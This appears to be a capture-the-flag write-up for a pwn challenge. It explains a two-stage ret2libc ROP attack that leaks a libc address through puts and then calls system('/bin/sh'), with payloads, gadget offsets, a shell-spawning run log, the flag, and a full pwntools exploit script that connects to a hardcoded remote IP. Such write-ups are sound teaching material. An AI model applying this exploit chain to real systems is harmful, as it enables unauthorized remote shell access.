| Field | Value |
|---|---|
| Category | PWN |
| Difficulty | Medium |
| Author | r3t0x |
| Technique | ret2libc via ROP Chain |
pwndbg> checksec ./main
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
NX is enabled, so we can't execute shellcode on the stack. But with no canary, no PIE, and Partial RELRO, we can build a ROP chain to leak libc and call system("/bin/sh").
We use puts@plt to print the runtime address of puts@got, which leaks a libc pointer. Then we return to main for a second input.
payload = flat(
b'A' * 72, # offset to RIP
POP_RDI, puts_got, # rdi = puts@got
puts_plt, # call puts(puts@got) → leaks libc addr
main # return to main for round 2
)
With the leaked libc address, we calculate system() and "/bin/sh" addresses, then build the final chain.
payload = flat(
b'A' * 72,
RET, # stack alignment
POP_RDI, binsh, # rdi = "/bin/sh"
system # system("/bin/sh")
)
POP_RDI = 0x40114a
RET = 0x40114b
OFFSET = 72 bytes
[*] Stage 1: Leaking libc base...
[+] Libc base: 0x7f7a8c200000
[*] Stage 2: Spawning shell...
[+] Enjoy your shell!
$ cat flag.txt
MOJO-JOJO{r3t2l1bc_cl4ss1c_m0v3}
#!/usr/bin/env python3
from pwn import *
binary = './main'
libc_path = './libc.so.6'
POP_RDI = 0x40114a
RET = 0x40114b
OFFSET = 72
# Libc offsets
PUTS_OFFSET = 0x805a0
SYSTEM_OFFSET = 0x53110
BINSH_OFFSET = 0x1a7ea4
def exploit(io):
elf = ELF(binary, checksec=False)
# Addresses
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
# Stage 1: Leak libc
log.info("Stage 1: Leaking libc base...")
io.recvuntil(b'data:')
payload = flat(
b'A' * OFFSET,
POP_RDI, puts_got,
puts_plt,
main
)
io.sendline(payload)
# Parse leak
io.recvline()
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc_base = leak - PUTS_OFFSET
system = libc_base + SYSTEM_OFFSET
binsh = libc_base + BINSH_OFFSET
log.success(f"Libc base: {hex(libc_base)}")
log.info("Stage 2: Spawning shell...")
io.recvuntil(b'data:')
payload = flat(
b'A' * OFFSET,
RET, # Align stack
POP_RDI, binsh,
system
)
io.sendline(payload)
log.success("Enjoy your shell!")
io.interactive()
if __name__ == '__main__':
context.log_level = 'info'
context.arch = 'amd64'
if args.REMOTE:
host = args.HOST or 'localhost'
port = int(args.PORT or 2711)
io = remote('4.233.210.175',9002)
else:
io = process(binary)
exploit(io)